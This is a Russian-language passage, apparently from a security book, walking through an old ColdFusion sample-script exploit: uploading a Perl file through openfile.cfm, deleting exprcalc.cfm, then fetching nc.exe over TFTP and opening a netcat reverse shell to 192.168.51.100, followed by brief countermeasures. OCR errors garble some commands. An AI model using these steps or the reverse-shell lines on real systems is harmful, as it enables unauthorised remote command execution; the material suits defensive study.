1. Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.
systemC'tftp -i 192.168.51.100 GET nc.exe");
system("nc-e cmd.exe 192.168.51.100 3000");
Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl.
2. Задайте в броузере следующий адрес URL.
http://192.168.51.101/cfdocs/expeval/openfile.cfm
3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК.
4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.
5. В окне должно появиться содержимое файла exprcalc. cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе.
6. Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
7. С помощью следующего URL запустите файл test.pl. http://192.168.51.101/cfdocs/expeval/test.pl
8. Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора).
С:\>пс -1 -р 3000
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
D:\INETPUB\WWWROOT\cfdocs>
Контрмеры против использования изъянов сервера Cold Fusion
Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:
Удалите все уязвимые сценарии.
Примените к файлу exprcalc.cfm модуль обновления, который можно найти по адресу http://wwwl.allaire.com/handlers/index.cfm?ID=8727&Method=Full.